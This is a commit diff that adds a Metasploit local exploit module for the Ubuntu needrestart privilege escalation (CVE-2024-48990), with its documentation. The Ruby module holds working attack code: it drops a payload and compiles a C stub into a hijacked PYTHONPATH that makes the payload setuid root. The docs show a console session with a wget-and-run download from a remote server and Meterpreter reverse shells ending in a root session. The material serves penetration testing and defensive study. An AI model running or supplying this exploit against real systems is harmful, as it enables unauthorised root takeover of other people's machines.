ubuntu needrestart lpe
This commit is contained in:
@@ -0,0 +1,120 @@
|
||||
The following is the recommended format for module documentation. But feel free to add more content/sections to this.
|
||||
One of the general ideas behind these documents is to help someone troubleshoot the module if it were to stop
|
||||
functioning in 5+ years, so giving links or specific examples can be VERY helpful.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Instructions to get the vulnerable application. If applicable, include links to the vulnerable install
|
||||
files, as well as instructions on installing/configuring the environment if it is different than a
|
||||
standard install. Much of this will come from the PR, and can be copy/pasted.
|
||||
|
||||
## Verification Steps
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use [module path]`
|
||||
1. Do: `run`
|
||||
1. You should get a shell.
|
||||
|
||||
## Options
|
||||
List each option and how to use it.
|
||||
|
||||
### Option Name
|
||||
|
||||
Talk about what it does, and how to use it appropriately. If the default value is likely to change, include the default value here.
|
||||
|
||||
## Scenarios
|
||||
Specific demo of using the module that might be useful in a real world scenario.
|
||||
|
||||
### Version and OS
|
||||
|
||||
```
|
||||
msf6 > use exploit/multi/script/web_delivery
|
||||
998
|
||||
run[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/script/web_delivery) > set target 7
|
||||
target => 7
|
||||
msf6 exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/script/web_delivery) > set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
msf6 exploit(multi/script/web_delivery) > set lport 4998
|
||||
lport => 4998
|
||||
msf6 exploit(multi/script/web_delivery) > set srvport 8998
|
||||
srvport => 8998
|
||||
msf6 exploit(multi/script/web_delivery) > run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf6 exploit(multi/script/web_delivery) >
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4998
|
||||
[*] Using URL: http://1.1.1.1:8998/dKtdkMS
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
wget -qO Ejq8lHli --no-check-certificate http://1.1.1.1:8998/dKtdkMS; chmod +x Ejq8lHli; ./Ejq8lHli& disown
|
||||
[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 2.2.2.2
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:4998 -> 2.2.2.2:52004) at 2024-11-22 12:07:55 -0500
|
||||
|
||||
msf6 exploit(multi/script/web_delivery) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: h00die
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
msf6 exploit(multi/script/web_delivery) > use exploit/linux/local/ubuntu_needrestart_lpe
|
||||
verbose true
|
||||
run
|
||||
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set payload linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set lport 4977
|
||||
lport => 4977
|
||||
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set session 1
|
||||
session => 1
|
||||
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set verbose true
|
||||
verbose => true
|
||||
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > run
|
||||
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4977
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
|
||||
[+] The target appears to be vulnerable. Vulnerable needrestart version 3.5-5ubuntu2.1 detected on Ubuntu 22.04
|
||||
[*] Writing '/tmp/.1K8Hy2tOtq' (250 bytes) ...
|
||||
[*] Uploading payload: /tmp/.1K8Hy2tOtq
|
||||
[*] Uploading c_stub: /tmp/.hnPKdLeU2s.c
|
||||
[*] Uploading py_script: /tmp/.FzzlJ
|
||||
[*] Uploading build and run script: /tmp/.h0IkpDa
|
||||
[*] Launching exploit, and waiting for needrestart to run...
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 2.2.2.2
|
||||
[*] chown: changing ownership of '/tmp/.1K8Hy2tOtq': Operation not permitted
|
||||
[*] Error processing line 1 of /usr/lib/python3/dist-packages/zope.interface-5.4.0-nspkg.pth:
|
||||
[*]
|
||||
[*] Traceback (most recent call last):
|
||||
[*] File "/usr/lib/python3.10/site.py", line 192, in addpackage
|
||||
[*] exec(line)
|
||||
[*] File "<string>", line 1, in <module>
|
||||
[*] ImportError: dynamic module does not define module export function (PyInit_importlib)
|
||||
[*]
|
||||
[*] Remainder of file ignored
|
||||
[*] #########################
|
||||
[*]
|
||||
[*] Dont mind the error message above
|
||||
[*]
|
||||
[*] Waiting for needrestart to run...
|
||||
[*] Payload owned by: root
|
||||
[+] Deleted /tmp/.1K8Hy2tOtq
|
||||
[+] Deleted /tmp/.hnPKdLeU2s.c
|
||||
[+] Deleted /tmp/.FzzlJ
|
||||
[+] Deleted /tmp/.h0IkpDa
|
||||
[+] Deleted /tmp/importlib
|
||||
[*] Meterpreter session 2 opened (1.1.1.1:4977 -> 2.2.2.2:57644) at 2024-11-22 12:08:28 -0500
|
||||
|
||||
meterpreter >
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
```
|
||||
@@ -0,0 +1,184 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = GreatRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
|
||||
|
||||
# includes: is_root?
|
||||
include Msf::Post::Linux::Priv
|
||||
# includes: has_gcc?
|
||||
include Msf::Post::Linux::System
|
||||
# includes: kernel_release
|
||||
include Msf::Post::Linux::Kernel
|
||||
# includes writable?, upload_file, upload_and_chmodx, exploit_data
|
||||
include Msf::Post::File
|
||||
# includes generate_payload_exe
|
||||
include Msf::Exploit::EXE
|
||||
# includes register_files_for_cleanup
|
||||
include Msf::Exploit::FileDropper
|
||||
# includes: COMPILE option, live_compile?, upload_and_compile
|
||||
# strip_comments
|
||||
include Msf::Post::Linux::Compile
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Ubuntu needrestart Privilege Escalation',
|
||||
'Description' => %q{
|
||||
local attackers can execute arbitrary code as root by
|
||||
tricking needrestart into running the Python interpreter with an
|
||||
attacker-controlled PYTHONPATH environment variable.
|
||||
|
||||
Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'h00die', # msf module
|
||||
'makuga01', # PoC
|
||||
'qualys' # original advisory
|
||||
],
|
||||
'Platform' => [ 'linux' ],
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'Stance' => Msf::Exploit::Stance::Passive,
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Targets' => [[ 'Auto', {} ]],
|
||||
'Privileged' => true,
|
||||
'References' => [
|
||||
[ 'URL', 'https://github.com/makuga01/CVE-2024-48990-PoC'],
|
||||
[ 'URL', 'https://www.qualys.com/2024/11/19/needrestart/needrestart.txt'],
|
||||
[ 'CVE', '2024-48990']
|
||||
],
|
||||
'DisclosureDate' => '2024-11-19',
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, ]
|
||||
}
|
||||
)
|
||||
)
|
||||
register_advanced_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
]
|
||||
end
|
||||
|
||||
def base_dir
|
||||
datastore['WritableDir'].to_s
|
||||
end
|
||||
|
||||
def check
|
||||
fixed_versions = {
|
||||
'24.10' => Gem::Version.new('3.6-8ubuntu4.2'),
|
||||
'24.04' => Gem::Version.new('3.6-7ubuntu4.3'),
|
||||
'22.04' => Gem::Version.new('3.5-5ubuntu2.2'),
|
||||
'20.04' => Gem::Version.new('3.4-6ubuntu0.1.esm1'),
|
||||
'18.04' => Gem::Version.new('3.1-1ubuntu0.1.esm1'),
|
||||
'16.04' => Gem::Version.new('2.6-1ubuntu0.1.esm1')
|
||||
}
|
||||
if file? '/etc/issue'
|
||||
version = cmd_exec('cat /etc/issue | cut -d " " -f 2').strip
|
||||
version = version.slice(0, 5) # take off any extra version info
|
||||
return CheckCode::Safe("Ubuntu version #{version} is not vulnerable") unless fixed_versions.key? version
|
||||
package = cmd_exec('dpkg -l needrestart | grep \'^ii\'')
|
||||
package = package.split(' ')[2]
|
||||
package = package.gsub('+', '.')
|
||||
if package && Gem::Version.new(package) < fixed_versions[version]
|
||||
return CheckCode::Appears("Vulnerable needrestart version #{package} detected on Ubuntu #{version}")
|
||||
else
|
||||
return CheckCode::Safe("needrestart is not vulnerable on Ubuntu #{version}")
|
||||
end
|
||||
end
|
||||
|
||||
CheckCode::Safe("app #{package} is not vulnerable")
|
||||
end
|
||||
|
||||
#
|
||||
# The exploit method drops a payload file to the system, then either compiles and runs
|
||||
# or just runs the exploit on the system.
|
||||
#
|
||||
def exploit
|
||||
# Check if we're already root
|
||||
if !datastore['ForceExploit'] && is_root?
|
||||
fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'
|
||||
end
|
||||
|
||||
# Make sure we can write our exploit and payload to the local system
|
||||
unless writable? base_dir
|
||||
fail_with Failure::BadConfig, "#{base_dir} is not writable"
|
||||
end
|
||||
|
||||
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
|
||||
upload_and_chmodx payload_path, generate_payload_exe
|
||||
vprint_status("Uploading payload: #{payload_path}")
|
||||
register_files_for_cleanup(payload_path)
|
||||
|
||||
c_stub = %|#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/types.h>
|
||||
#include <unistd.h>
|
||||
|
||||
static void a() __attribute__((constructor));
|
||||
|
||||
void a() {
|
||||
setuid(0);
|
||||
setgid(0);
|
||||
const char *shell = "chown root:root #{payload_path}; chmod a+x #{payload_path}; chmod u+s #{payload_path} &";
|
||||
system(shell);
|
||||
}|
|
||||
|
||||
c_stub_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}.c"
|
||||
write_file c_stub_path, c_stub
|
||||
vprint_status("Uploading c_stub: #{c_stub_path}")
|
||||
register_files_for_cleanup(c_stub_path)
|
||||
|
||||
py_script = %|import os
|
||||
import time
|
||||
import pwd
|
||||
|
||||
print("#########################\\n\\nDont mind the error message above\\n\\nWaiting for needrestart to run...")
|
||||
|
||||
while True:
|
||||
file_stat = os.stat('#{payload_path}')
|
||||
username = pwd.getpwuid(file_stat.st_uid).pw_name
|
||||
if (username == 'root'):
|
||||
print("Payload owned by: " + username)
|
||||
os.system('#{payload_path} &')
|
||||
break
|
||||
time.sleep(1)|
|
||||
|
||||
py_stub_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
|
||||
write_file py_stub_path, py_script
|
||||
vprint_status("Uploading py_script: #{py_stub_path}")
|
||||
register_files_for_cleanup(py_stub_path)
|
||||
|
||||
build_run_script = %|#!/bin/bash
|
||||
|
||||
set -e
|
||||
mkdir -p "#{base_dir}/importlib"
|
||||
|
||||
# Compile lib.c into the prepared PYTHONPATH
|
||||
gcc -shared -fPIC -o "#{base_dir}/importlib/__init__.so" #{c_stub_path}
|
||||
|
||||
# Set the malicious PYTHONPATH and run a py script that waits for the shell
|
||||
PYTHONPATH="#{base_dir}" python3 #{py_stub_path}|
|
||||
|
||||
build_run_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
|
||||
write_file build_run_path, build_run_script
|
||||
cmd_exec "chmod +x #{build_run_path}"
|
||||
vprint_status("Uploading build and run script: #{build_run_path}")
|
||||
register_files_for_cleanup(build_run_path)
|
||||
|
||||
register_dir_for_cleanup("#{base_dir}/importlib")
|
||||
|
||||
# Launch exploit with a timeout. We also have a vprint_status so if the user wants all the
|
||||
# output from the exploit being run, they can optionally see it
|
||||
timeout = 86_400 # 24 hours
|
||||
print_status 'Launching exploit, and waiting for needrestart to run...'
|
||||
output = cmd_exec build_run_path, nil, timeout
|
||||
output.each_line { |line| vprint_status line.chomp }
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user